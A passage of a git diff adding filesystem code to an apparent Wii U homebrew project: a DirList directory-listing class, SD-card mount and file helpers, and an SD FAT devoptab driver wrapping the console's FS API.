strrchr(filename, '.'); + if(!fileext) + continue; + + if(strtokcmp(fileext, Filter, ",") == 0) + AddEntrie(folderpath, filename, isDir); + } + else + { + AddEntrie(folderpath, filename, isDir); + } + } + closedir(dir); + + return true; +} + +void DirList::AddEntrie(const std::string &filepath, const char * filename, bool isDir) +{ + if(!filename) + return; + + int pos = FileInfo.size(); + + FileInfo.resize(pos+1); + + FileInfo[pos].FilePath = (char *) malloc(filepath.size()+strlen(filename)+2); + if(!FileInfo[pos].FilePath) + { + FileInfo.resize(pos); + return; + } + + sprintf(FileInfo[pos].FilePath, "%s/%s", filepath.c_str(), filename); + FileInfo[pos].isDir = isDir; +} + +void DirList::ClearList() +{ + for(u32 i = 0; i < FileInfo.size(); ++i) + { + if(FileInfo[i].FilePath) + free(FileInfo[i].FilePath); + } + + FileInfo.clear(); + std::vector().swap(FileInfo); +} + +const char * DirList::GetFilename(int ind) const +{ + if (!valid(ind)) + return ""; + + return FullpathToFilename(FileInfo[ind].FilePath); +} + +static bool SortCallback(const DirEntry & f1, const DirEntry & f2) +{ + if(f1.isDir && !(f2.isDir)) return true; + if(!(f1.isDir) && f2.isDir) return false; + + if(f1.FilePath && !f2.FilePath) return true; + if(!f1.FilePath) return false; + + if(strcasecmp(f1.FilePath, f2.FilePath) > 0) + return false; + + return true; +} + +void DirList::SortList() +{ + if(FileInfo.size() > 1) + std::sort(FileInfo.begin(), FileInfo.end(), SortCallback); +} + +void DirList::SortList(bool (*SortFunc)(const DirEntry &a, const DirEntry &b)) +{ + if(FileInfo.size() > 1) + std::sort(FileInfo.begin(), FileInfo.end(), SortFunc); +} + +u64 DirList::GetFilesize(int index) const +{ + struct stat st; + const char *path = GetFilepath(index); + + if(!path || stat(path, &st) != 0) + return 0; + + return st.st_size; +} + +int DirList::GetFileIndex(const char *filename) const +{ + if(!filename) + return -1; + + for (u32 i = 0; i < FileInfo.size(); ++i) + { + if (strcasecmp(GetFilename(i), filename) == 0) + return i; + } + + return -1; +} diff --git a/src/fs/DirList.h b/src/fs/DirList.h new file mode 100644 index 0000000..2a34208 --- /dev/null +++ b/src/fs/DirList.h @@ -0,0 +1,95 @@ +/**************************************************************************** + * Copyright (C) 2010 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + * + * DirList Class + * for WiiXplorer 2010 + ***************************************************************************/ +#ifndef ___DIRLIST_H_ +#define ___DIRLIST_H_ + +#include +#include +#include + +typedef struct +{ + char * FilePath; + bool isDir; +} DirEntry; + +class DirList +{ +public: + //!Constructor + DirList(void); + //!\param path Path from where to load the filelist of all files + //!\param filter A fileext that needs to be filtered + //!\param flags search/filter flags from the enum + DirList(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs); + //!Destructor + virtual ~DirList(); + //! Load all the files from a directory + bool LoadPath(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs); + //! Get a filename of the list + //!\param list index + const char * GetFilename(int index) const; + //! Get the a filepath of the list + //!\param list index + const char *GetFilepath(int index) const { if (!valid(index)) return ""; else return FileInfo[index].FilePath; } + //! Get the a filesize of the list + //!\param list index + u64 GetFilesize(int index) const; + //! Is index a dir or a file + //!\param list index + bool IsDir(int index) const { if(!valid(index)) return false; return FileInfo[index].isDir; }; + //! Get the filecount of the whole list + int GetFilecount() const { return FileInfo.size(); }; + //! Sort list by filepath + void SortList(); + //! Custom sort command for custom sort functions definitions + void SortList(bool (*SortFunc)(const DirEntry &a, const DirEntry &b)); + //! Get the index of the specified filename + int GetFileIndex(const char *filename) const; + //! Enum for search/filter flags + enum + { + Files = 0x01, + Dirs = 0x02, + CheckSubfolders = 0x08, + }; +protected: + // Internal parser + bool InternalLoadPath(std::string &path); + //!Add a list entrie + void AddEntrie(const std::string &filepath, const char * filename, bool isDir); + //! Clear the list + void ClearList(); + //! Check if valid pos is requested + inline bool valid(u32 pos) const { return (pos < FileInfo.size()); }; + + u32 Flags; + const char *Filter; + std::vector FileInfo; +}; + +#endif diff --git a/src/fs/fs_utils.c b/src/fs/fs_utils.c new file mode 100644 index 0000000..efa2e55 --- /dev/null +++ b/src/fs/fs_utils.c @@ -0,0 +1,182 @@ +#include +#include +#include +#include +#include +#include "common/fs_defs.h" +#include "dynamic_libs/fs_functions.h" + + +int MountFS(void *pClient, void *pCmd, char **mount_path) +{ + int result = -1; + + void *mountSrc = malloc(FS_MOUNT_SOURCE_SIZE); + if(!mountSrc) + return -3; + + char* mountPath = (char*) malloc(FS_MAX_MOUNTPATH_SIZE); + if(!mountPath) { + free(mountSrc); + return -4; + } + + memset(mountSrc, 0, FS_MOUNT_SOURCE_SIZE); + memset(mountPath, 0, FS_MAX_MOUNTPATH_SIZE); + + // Mount sdcard + if (FSGetMountSource(pClient, pCmd, FS_SOURCETYPE_EXTERNAL, mountSrc, -1) == 0) + { + result = FSMount(pClient, pCmd, mountSrc, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); + if((result == 0) && mount_path) { + *mount_path = (char*)malloc(strlen(mountPath) + 1); + if(*mount_path) + strcpy(*mount_path, mountPath); + } + } + + free(mountPath); + free(mountSrc); + return result; +} + +int UmountFS(void *pClient, void *pCmd, const char *mountPath) +{ + int result = -1; + result = FSUnmount(pClient, pCmd, mountPath, -1); + + return result; +} + +int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size) +{ + //! always initialze input + *inbuffer = NULL; + if(size) + *size = 0; + + int iFd = open(filepath, O_RDONLY); + if (iFd < 0) + return -1; + + u32 filesize = lseek(iFd, 0, SEEK_END); + lseek(iFd, 0, SEEK_SET); + + u8 *buffer = (u8 *) malloc(filesize); + if (buffer == NULL) + { + close(iFd); + return -2; + } + + u32 blocksize = 0x4000; + u32 done = 0; + int readBytes = 0; + + while(done < filesize) + { + if(done + blocksize > filesize) { + blocksize = filesize - done; + } + readBytes = read(iFd, buffer + done, blocksize); + if(readBytes <= 0) + break; + done += readBytes; + } + + close(iFd); + + if (done != filesize) + { + free(buffer); + return -3; + } + + *inbuffer = buffer; + + //! sign is optional input + if(size) + *size = filesize; + + return filesize; +} + +int CheckFile(const char * filepath) +{ + if(!filepath) + return 0; + + struct stat filestat; + + char dirnoslash[strlen(filepath)+2]; + snprintf(dirnoslash, sizeof(dirnoslash), "%s", filepath); + + while(dirnoslash[strlen(dirnoslash)-1] == '/') + dirnoslash[strlen(dirnoslash)-1] = '\0'; + + char * notRoot = strrchr(dirnoslash, '/'); + if(!notRoot) + { + strcat(dirnoslash, "/"); + } + + if (stat(dirnoslash, &filestat) == 0) + return 1; + + return 0; +} + +int CreateSubfolder(const char * fullpath) +{ + if(!fullpath) + return 0; + + int result = 0; + + char dirnoslash[strlen(fullpath)+1]; + strcpy(dirnoslash, fullpath); + + int pos = strlen(dirnoslash)-1; + while(dirnoslash[pos] == '/') + { + dirnoslash[pos] = '\0'; + pos--; + } + + if(CheckFile(dirnoslash)) + { + return 1; + } + else + { + char parentpath[strlen(dirnoslash)+2]; + strcpy(parentpath, dirnoslash); + char * ptr = strrchr(parentpath, '/'); + + if(!ptr) + { + //!Device root directory (must be with '/') + strcat(parentpath, "/"); + struct stat filestat; + if (stat(parentpath, &filestat) == 0) + return 1; + + return 0; + } + + ptr++; + ptr[0] = '\0'; + + result = CreateSubfolder(parentpath); + } + + if(!result) + return 0; + + if (mkdir(dirnoslash, 0777) == -1) + { + return 0; + } + + return 1; +} diff --git a/src/fs/fs_utils.h b/src/fs/fs_utils.h new file mode 100644 index 0000000..7022695 --- /dev/null +++ b/src/fs/fs_utils.h @@ -0,0 +1,23 @@ +#ifndef __FS_UTILS_H_ +#define __FS_UTILS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +int MountFS(void *pClient, void *pCmd, char **mount_path); +int UmountFS(void *pClient, void *pCmd, const char *mountPath); + +int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size); + +//! todo: C++ class +int CreateSubfolder(const char * fullpath); +int CheckFile(const char * filepath); + +#ifdef __cplusplus +} +#endif + +#endif // __FS_UTILS_H_ diff --git a/src/fs/sd_fat_devoptab.c b/src/fs/sd_fat_devoptab.c new file mode 100644 index 0000000..f5b278b --- /dev/null +++ b/src/fs/sd_fat_devoptab.c @@ -0,0 +1,1019 @@ +/*************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include +#include +#include +#include +#include +#include +#include +#include +#include "dynamic_libs/fs_functions.h" +#include "dynamic_libs/os_functions.h" +#include "fs_utils.h" + +#define FS_ALIGNMENT 0x40 +#define FS_ALIGN(x) (((x) + FS_ALIGNMENT - 1) & ~(FS_ALIGNMENT - 1)) + +typedef struct _sd_fat_private_t { + char *mount_path; + void *pClient; + void *pCmd; + void *pMutex; +} sd_fat_private_t; + +typedef struct _sd_fat_file_state_t { + sd_fat_private_t *dev; + int fd; /* File descriptor */ + int flags; /* Opening flags */ + bool read; /* True if allowed to read from file */ + bool write; /* True if allowed to write to file */ + bool append; /* True if allowed to append to file */ + u64 pos; /* Current position within the file (in bytes) */ + u64 len; /* Total length of the file (in bytes) */ + struct _sd_fat_file_state_t *prevOpenFile; /* The previous entry in a double-linked FILO list of open files */ + struct _sd_fat_file_state_t *nextOpenFile; /* The next entry in a double-linked FILO list of open files */ +} sd_fat_file_state_t; + +typedef struct _sd_fat_dir_entry_t { + sd_fat_private_t *dev; + int dirHandle; +} sd_fat_dir_entry_t; + +static sd_fat_private_t *sd_fat_get_device_data(const char *path) +{ + const devoptab_t *devoptab = NULL; + char name[128] = {0}; + int i; + + // Get the device name from the path + strncpy(name, path, 127); + strtok(name, ":/"); + + // Search the devoptab table for the specified device name + // NOTE: We do this manually due to a 'bug' in GetDeviceOpTab + // which ignores names with suffixes and causes names + // like "ntfs" and "ntfs1" to be seen as equals + for (i = 3; i < STD_MAX; i++) { + devoptab = devoptab_list[i]; + if (devoptab && devoptab->name) { + if (strcmp(name, devoptab->name) == 0) { + return (sd_fat_private_t *)devoptab->deviceData; + } + } + } + + return NULL; +} + +static char *sd_fat_real_path (const char *path, sd_fat_private_t *dev) +{ + // Sanity check + if (!path) + return NULL; + + // Move the path pointer to the start of the actual path + if (strchr(path, ':') != NULL) { + path = strchr(path, ':') + 1; + } + + int mount_len = strlen(dev->mount_path); + + char *new_name = (char*)malloc(mount_len + strlen(path) + 1); + if(new_name) { + strcpy(new_name, dev->mount_path); + strcpy(new_name + mount_len, path); + return new_name; + } + return new_name; +} + +static int sd_fat_open_r (struct _reent *r, void *fileStruct, const char *path, int flags, int mode) +{ + sd_fat_private_t *dev = sd_fat_get_device_data(path); + if(!dev) { + r->_errno = ENODEV; + return -1; + } + + sd_fat_file_state_t *file = (sd_fat_file_state_t *)fileStruct; + + file->dev = dev; + // Determine which mode the file is opened for + file->flags = flags; + + const char *mode_str; + + if ((flags & 0x03) == O_RDONLY) { + file->read = true; + file->write = false; + file->append = false; + mode_str = "r"; + } else if ((flags & 0x03) == O_WRONLY) { + file->read = false; + file->write = true; + file->append = (flags & O_APPEND); + mode_str = file->append ? "a" : "w"; + } else if ((flags & 0x03) == O_RDWR) { + file->read = true; + file->write = true; + file->append = (flags & O_APPEND); + mode_str = file->append ? "a+" : "r+"; + } else { + r->_errno = EACCES; + return -1; + } + + int fd = -1; + + OSLockMutex(dev->pMutex); + + char *real_path = sd_fat_real_path(path, dev); + if(!path) { + r->_errno = ENOMEM; + OSUnlockMutex(dev->pMutex); + return -1; + } + + int result = FSOpenFile(dev->pClient, dev->pCmd, real_path, mode_str, &fd, -1); + + free(real_path); + + if(result == 0) + { + FSStat stats; + result = FSGetStatFile(dev->pClient, dev->pCmd, fd, &stats, -1); + if(result != 0) { + FSCloseFile(dev->pClient, dev->pCmd, fd, -1); + r->_errno = result; + OSUnlockMutex(dev->pMutex); + return -1; + } + file->fd = fd; + file->pos = 0; + file->len = stats.size; + OSUnlockMutex(dev->pMutex); + return (int)file; + } + + r->_errno = result; + OSUnlockMutex(dev->pMutex); + return -1; +} + + +static int sd_fat_close_r (struct _reent *r, int fd) +{ + sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; + if(!file->dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(file->dev->pMutex); + + int result = FSCloseFile(file->dev->pClient, file->dev->pCmd, file->fd, -1); + + OSUnlockMutex(file->dev->pMutex); + + if(result < 0) + { + r->_errno = result; + return -1; + } + return 0; +} + +static off_t sd_fat_seek_r (struct _reent *r, int fd, off_t pos, int dir) +{ + sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; + if(!file->dev) { + r->_errno = ENODEV; + return 0; + } + + OSLockMutex(file->dev->pMutex); + + switch(dir) + { + case SEEK_SET: + file->pos = pos; + break; + case SEEK_CUR: + file->pos += pos; + break; + case SEEK_END: + file->pos = file->len + pos; + break; + default: + r->_errno = EINVAL; + return -1; + } + + int result = FSSetPosFile(file->dev->pClient, file->dev->pCmd, file->fd, file->pos, -1); + + OSUnlockMutex(file->dev->pMutex); + + if(result == 0) + { + return file->pos; + } + + return result; +} + +static ssize_t sd_fat_write_r (struct _reent *r, int fd, const char *ptr, size_t len) +{ + sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; + if(!file->dev) { + r->_errno = ENODEV; + return 0; + } + + if(!file->write) + { + r->_errno = EACCES; + return 0; + } + + OSLockMutex(file->dev->pMutex); + + size_t len_aligned = FS_ALIGN(len); + if(len_aligned > 0x4000) + len_aligned = 0x4000; + + unsigned char *tmpBuf = (unsigned char *)memalign(FS_ALIGNMENT, len_aligned); + if(!tmpBuf) { + r->_errno = ENOMEM; + OSUnlockMutex(file->dev->pMutex); + return 0; + } + + size_t done = 0; + + while(done < len) + { + size_t write_size = (len_aligned < (len - done)) ? len_aligned : (len - done); + memcpy(tmpBuf, ptr + done, write_size); + + int result = FSWriteFile(file->dev->pClient, file->dev->pCmd, tmpBuf, 0x01, write_size, file->fd, 0, -1); + if(result < 0) + { + r->_errno = result; + break; + } + else if(result == 0) + { + if(write_size > 0) + done = 0; + break; + } + else + { + done += result; + file->pos += result; + } + } + + free(tmpBuf); + OSUnlockMutex(file->dev->pMutex); + return done; +} + +static ssize_t sd_fat_read_r (struct _reent *r, int fd, char *ptr, size_t len) +{ + sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; + if(!file->dev) { + r->_errno = ENODEV; + return 0; + } + + if(!file->read) + { + r->_errno = EACCES; + return 0; + } + + OSLockMutex(file->dev->pMutex); + + size_t len_aligned = FS_ALIGN(len); + if(len_aligned > 0x4000) + len_aligned = 0x4000; + + unsigned char *tmpBuf = (unsigned char *)memalign(FS_ALIGNMENT, len_aligned); + if(!tmpBuf) { + r->_errno = ENOMEM; + OSUnlockMutex(file->dev->pMutex); + return 0; + } + + size_t done = 0; + + while(done < len) + { + size_t read_size = (len_aligned < (len - done)) ? len_aligned : (len - done); + + int result = FSReadFile(file->dev->pClient, file->dev->pCmd, tmpBuf, 0x01, read_size, file->fd, 0, -1); + if(result < 0) + { + r->_errno = result; + done = 0; + break; + } + else if(result == 0) + { + //! TODO: error on read_size > 0 + break; + } + else + { + memcpy(ptr + done, tmpBuf, read_size); + done += result; + file->pos += result; + } + } + + free(tmpBuf); + OSUnlockMutex(file->dev->pMutex); + return done; +} + + +static int sd_fat_fstat_r (struct _reent *r, int fd, struct stat *st) +{ + sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; + if(!file->dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(file->dev->pMutex); + + // Zero out the stat buffer + memset(st, 0, sizeof(struct stat)); + + FSStat stats; + int result = FSGetStatFile(file->dev->pClient, file->dev->pCmd, file->fd, &stats, -1); + if(result != 0) { + r->_errno = result; + OSUnlockMutex(file->dev->pMutex); + return -1; + } + + st->st_mode = S_IFREG; + st->st_size = stats.size; + st->st_blocks = (stats.size + 511) >> 9; + st->st_nlink = 1; + + // Fill in the generic entry stats + st->st_dev = stats.ent_id; + st->st_uid = stats.owner_id; + st->st_gid = stats.group_id; + st->st_ino = stats.ent_id; + st->st_atime = stats.mtime; + st->st_ctime = stats.ctime; + st->st_mtime = stats.mtime; + OSUnlockMutex(file->dev->pMutex); + return 0; +} + +static int sd_fat_ftruncate_r (struct _reent *r, int fd, off_t len) +{ + sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; + if(!file->dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(file->dev->pMutex); + + int result = FSTruncateFile(file->dev->pClient, file->dev->pCmd, file->fd, -1); + + OSUnlockMutex(file->dev->pMutex); + + if(result < 0) { + r->_errno = result; + return -1; + } + + return 0; +} + +static int sd_fat_fsync_r (struct _reent *r, int fd) +{ + sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; + if(!file->dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(file->dev->pMutex); + + int result = FSFlushFile(file->dev->pClient, file->dev->pCmd, file->fd, -1); + + OSUnlockMutex(file->dev->pMutex); + + if(result < 0) { + r->_errno = result; + return -1; + } + + return 0; +} + +static int sd_fat_stat_r (struct _reent *r, const char *path, struct stat *st) +{ + sd_fat_private_t *dev = sd_fat_get_device_data(path); + if(!dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dev->pMutex); + + // Zero out the stat buffer + memset(st, 0, sizeof(struct stat)); + + char *real_path = sd_fat_real_path(path, dev); + if(!real_path) { + r->_errno = ENOMEM; + OSUnlockMutex(dev->pMutex); + return -1; + } + + FSStat stats; + + int result = FSGetStat(dev->pClient, dev->pCmd, real_path, &stats, -1); + + free(real_path); + + if(result < 0) { + r->_errno = result; + OSUnlockMutex(dev->pMutex); + return -1; + } + + // mark root also as directory + st->st_mode = ((stats.flag & 0x80000000) || (strlen(dev->mount_path) + 1 == strlen(real_path)))? S_IFDIR : S_IFREG; + st->st_nlink = 1; + st->st_size = stats.size; + st->st_blocks = (stats.size + 511) >> 9; + // Fill in the generic entry stats + st->st_dev = stats.ent_id; + st->st_uid = stats.owner_id; + st->st_gid = stats.group_id; + st->st_ino = stats.ent_id; + st->st_atime = stats.mtime; + st->st_ctime = stats.ctime; + st->st_mtime = stats.mtime; + + OSUnlockMutex(dev->pMutex); + + return 0; +} + +static int sd_fat_link_r (struct _reent *r, const char *existing, const char *newLink) +{ + r->_errno = ENOTSUP; + return -1; +} + +static int sd_fat_unlink_r (struct _reent *r, const char *name) +{ + sd_fat_private_t *dev = sd_fat_get_device_data(name); + if(!dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dev->pMutex); + + char *real_path = sd_fat_real_path(name, dev); + if(!real_path) { + r->_errno = ENOMEM; + OSUnlockMutex(dev->pMutex); + return -1; + } + + + int result = FSRemove(dev->pClient, dev->pCmd, real_path, -1); + + free(real_path); + + OSUnlockMutex(dev->pMutex); + + if(result < 0) { + r->_errno = result; + return -1; + } + + return 0; +} + +static int sd_fat_chdir_r (struct _reent *r, const char *name) +{ + sd_fat_private_t *dev = sd_fat_get_device_data(name); + if(!dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dev->pMutex); + + char *real_path = sd_fat_real_path(name, dev); + if(!real_path) { + r->_errno = ENOMEM; + OSUnlockMutex(dev->pMutex); + return -1; + } + + int result = FSChangeDir(dev->pClient, dev->pCmd, real_path, -1); + + free(real_path); + + OSUnlockMutex(dev->pMutex); + + if(result < 0) { + r->_errno = result; + return -1; + } + + return 0; +} + +static int sd_fat_rename_r (struct _reent *r, const char *oldName, const char *newName) +{ + sd_fat_private_t *dev = sd_fat_get_device_data(oldName); + if(!dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dev->pMutex); + + char *real_oldpath = sd_fat_real_path(oldName, dev); + if(!real_oldpath) { + r->_errno = ENOMEM; + OSUnlockMutex(dev->pMutex); + return -1; + } + char *real_newpath = sd_fat_real_path(newName, dev); + if(!real_newpath) { + r->_errno = ENOMEM; + free(real_oldpath); + OSUnlockMutex(dev->pMutex); + return -1; + } + + int result = FSRename(dev->pClient, dev->pCmd, real_oldpath, real_newpath, -1); + + free(real_oldpath); + free(real_newpath); + + OSUnlockMutex(dev->pMutex); + + if(result < 0) { + r->_errno = result; + return -1; + } + + return 0; + +} + +static int sd_fat_mkdir_r (struct _reent *r, const char *path, int mode) +{ + sd_fat_private_t *dev = sd_fat_get_device_data(path); + if(!dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dev->pMutex); + + char *real_path = sd_fat_real_path(path, dev); + if(!real_path) { + r->_errno = ENOMEM; + OSUnlockMutex(dev->pMutex); + return -1; + } + + int result = FSMakeDir(dev->pClient, dev->pCmd, real_path, -1); + + free(real_path); + + OSUnlockMutex(dev->pMutex); + + if(result < 0) { + r->_errno = result; + return -1; + } + + return 0; +} + +static int sd_fat_statvfs_r (struct _reent *r, const char *path, struct statvfs *buf) +{ + sd_fat_private_t *dev = sd_fat_get_device_data(path); + if(!dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dev->pMutex); + + // Zero out the stat buffer + memset(buf, 0, sizeof(struct statvfs)); + + char *real_path = sd_fat_real_path(path, dev); + if(!real_path) { + r->_errno = ENOMEM; + OSUnlockMutex(dev->pMutex); + return -1; + } + + u64 size; + + int result = FSGetFreeSpaceSize(dev->pClient, dev->pCmd, real_path, &size, -1); + + free(real_path); + + if(result < 0) { + r->_errno = result; + OSUnlockMutex(dev->pMutex); + return -1; + } + + // File system block size + buf->f_bsize = 512; + + // Fundamental file system block size + buf->f_frsize = 512; + + // Total number of blocks on file system in units of f_frsize + buf->f_blocks = size >> 9; // this is unknown + + // Free blocks available for all and for non-privileged processes + buf->f_bfree = buf->f_bavail = size >> 9; + + // Number of inodes at this point in time + buf->f_files = 0xffffffff; + + // Free inodes available for all and for non-privileged processes + buf->f_ffree = 0xffffffff; + + // File system id + buf->f_fsid = (int)dev; + + // Bit mask of f_flag values. + buf->f_flag = 0; + + // Maximum length of filenames + buf->f_namemax = 255; + + OSUnlockMutex(dev->pMutex); + + return 0; +} + +static DIR_ITER *sd_fat_diropen_r (struct _reent *r, DIR_ITER *dirState, const char *path) +{ + sd_fat_private_t *dev = sd_fat_get_device_data(path); + if(!dev) { + r->_errno = ENODEV; + return NULL; + } + + sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; + + OSLockMutex(dev->pMutex); + + char *real_path = sd_fat_real_path(path, dev); + if(!real_path) { + r->_errno = ENOMEM; + OSUnlockMutex(dev->pMutex); + return NULL; + } + + int dirHandle; + + int result = FSOpenDir(dev->pClient, dev->pCmd, real_path, &dirHandle, -1); + + free(real_path); + + OSUnlockMutex(dev->pMutex); + + if(result < 0) + { + r->_errno = result; + return NULL; + } + + dirIter->dev = dev; + dirIter->dirHandle = dirHandle; + + return dirState; +} + +static int sd_fat_dirclose_r (struct _reent *r, DIR_ITER *dirState) +{ + sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; + if(!dirIter->dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dirIter->dev->pMutex); + + int result = FSCloseDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, -1); + + OSUnlockMutex(dirIter->dev->pMutex); + + if(result < 0) + { + r->_errno = result; + return -1; + } + return 0; +} + +static int sd_fat_dirreset_r (struct _reent *r, DIR_ITER *dirState) +{ + sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; + if(!dirIter->dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dirIter->dev->pMutex); + + int result = FSRewindDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, -1); + + OSUnlockMutex(dirIter->dev->pMutex); + + if(result < 0) + { + r->_errno = result; + return -1; + } + return 0; +} + +static int sd_fat_dirnext_r (struct _reent *r, DIR_ITER *dirState, char *filename, struct stat *st) +{ + sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; + if(!dirIter->dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dirIter->dev->pMutex); + + FSDirEntry * dir_entry = malloc(sizeof(FSDirEntry)); + + int result = FSReadDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, dir_entry, -1); + if(result < 0) + { + free(dir_entry); + r->_errno = result; + OSUnlockMutex(dirIter->dev->pMutex); + return -1; + } + + // Fetch the current entry + strcpy(filename, dir_entry->name); + + if(st) + { + memset(st, 0, sizeof(struct stat)); + st->st_mode = (dir_entry->stat.flag & 0x80000000) ? S_IFDIR : S_IFREG; + st->st_nlink = 1; + st->st_size = dir_entry->stat.size; + st->st_blocks = (dir_entry->stat.size + 511) >> 9; + st->st_dev = dir_entry->stat.ent_id; + st->st_uid = dir_entry->stat.owner_id; + st->st_gid = dir_entry->stat.group_id; + st->st_ino = dir_entry->stat.ent_id; + st->st_atime = dir_entry->stat.mtime; + st->st_ctime = dir_entry->stat.ctime; + st->st_mtime = dir_entry->stat.mtime; + } + + free(dir_entry); + OSUnlockMutex(dirIter->dev->pMutex); + return 0; +} + +// NTFS device driver devoptab +static const devoptab_t devops_sd_fat = { + NULL, /* Device name */ + sizeof (sd_fat_file_state_t), + sd_fat_open_r, + sd_fat_close_r, + sd_fat_write_r, + sd_fat_read_r, + sd_fat_seek_r, + sd_fat_fstat_r, + sd_fat_stat_r, + sd_fat_link_r, + sd_fat_unlink_r, + sd_fat_chdir_r, + sd_fat_rename_r, + sd_fat_mkdir_r, + sizeof (sd_fat_dir_entry_t), + sd_fat_diropen_r, + sd_fat_dirreset_r, + sd_fat_dirnext_r, + sd_fat_dirclose_r, + sd_fat_statvfs_r, + sd_fat_ftruncate_r, + sd_fat_fsync_r, + NULL, /* sd_fat_chmod_r */ + NULL, /* sd_fat_fchmod_r */ + NULL /* Device data */ +}; + +static int sd_fat_add_device (const char *name, const char *mount_path, void *pClient, void *pCmd) +{ + devoptab_t *dev = NULL; + char *devname = NULL; + char *devpath = NULL; + int i; + + // Sanity check + if (!name) { + errno = EINVAL; + return -1; + } + + // Allocate a devoptab for this device + dev = (devoptab_t *) malloc(sizeof(devoptab_t) + strlen(name) + 1); + if (!dev) { + errno = ENOMEM; + return -1; + } + + // Use the space allocated at the end of the devoptab for storing the device name + devname = (char*)(dev + 1); + strcpy(devname, name); + + // create private data + sd_fat_private_t *priv = (sd_fat_private_t *)malloc(sizeof(sd_fat_private_t) + strlen(mount_path) + 1); + if(!priv) { + free(dev); + errno = ENOMEM; + return -1; + } + + devpath = (char*)(priv+1); + strcpy(devpath, mount_path); + + // setup private data + priv->mount_path = devpath; + priv->pClient = pClient; + priv->pCmd = pCmd; + priv->pMutex = malloc(OS_MUTEX_SIZE); + + if(!priv->pMutex) { + free(dev); + free(priv); + errno = ENOMEM; + return -1; + } + + OSInitMutex(priv->pMutex); + + // Setup the devoptab + memcpy(dev, &devops_sd_fat, sizeof(devoptab_t)); + dev->name = devname; + dev->deviceData = priv; + + // Add the device to the devoptab table (if there is a free slot) + for (i = 3; i < STD_MAX; i++) { + if (devoptab_list[i] == devoptab_list[0]) { + devoptab_list[i] = dev; + return 0; + } + } + + // failure, free all memory + free(priv); + free(dev); + + // If we reach here then there are no free slots in the devoptab table for this device + errno = EADDRNOTAVAIL; + return -1; +} + +static int sd_fat_remove_device (const char *path, void **pClient, void **pCmd, char **mountPath) +{ + const devoptab_t *devoptab = NULL; + char name[128] = {0}; + int i; + + // Get the device name from the path + strncpy(name, path, 127); + strtok(name, ":/"); + + // Find and remove the specified device from the devoptab table + // NOTE: We do this manually due to a 'bug' in RemoveDevice + // which ignores names with suffixes and causes names + // like "ntfs" and "ntfs1" to be seen as equals + for (i = 3; i < STD_MAX; i++) { + devoptab = devoptab_list[i]; + if (devoptab && devoptab->name) { + if (strcmp(name, devoptab->name) == 0) { + devoptab_list[i] = devoptab_list[0]; + + if(devoptab->deviceData) + { + sd_fat_private_t *priv = (sd_fat_private_t *)devoptab->deviceData; + *pClient = priv->pClient; + *pCmd = priv->pCmd; + *mountPath = (char*) malloc(strlen(priv->mount_path)+1); + if(*mountPath) + strcpy(*mountPath, priv->mount_path); + if(priv->pMutex) + free(priv->pMutex); + free(devoptab->deviceData); + } + + free((devoptab_t*)devoptab); + return 0; + } + } + } + + return -1; +} + +int mount_sd_fat(const char *path) +{ + int result = -1; + + // get command and client + void* pClient = malloc(FS_CLIENT_SIZE); + void* pCmd = malloc(FS_CMD_BLOCK_SIZE); + + if(!pClient || !pCmd) { + // just in case free if not 0 + if(pClient) + free(pClient); + if(pCmd) + free(pCmd); + return -2; + } + + FSInit(); + FSInitCmdBlock(pCmd); + FSAddClientEx(pClient, 0, -1); + + char *mountPath = NULL; + + if(MountFS(pClient, pCmd, &mountPath) == 0) { + result = sd_fat_add_device(path, mountPath, 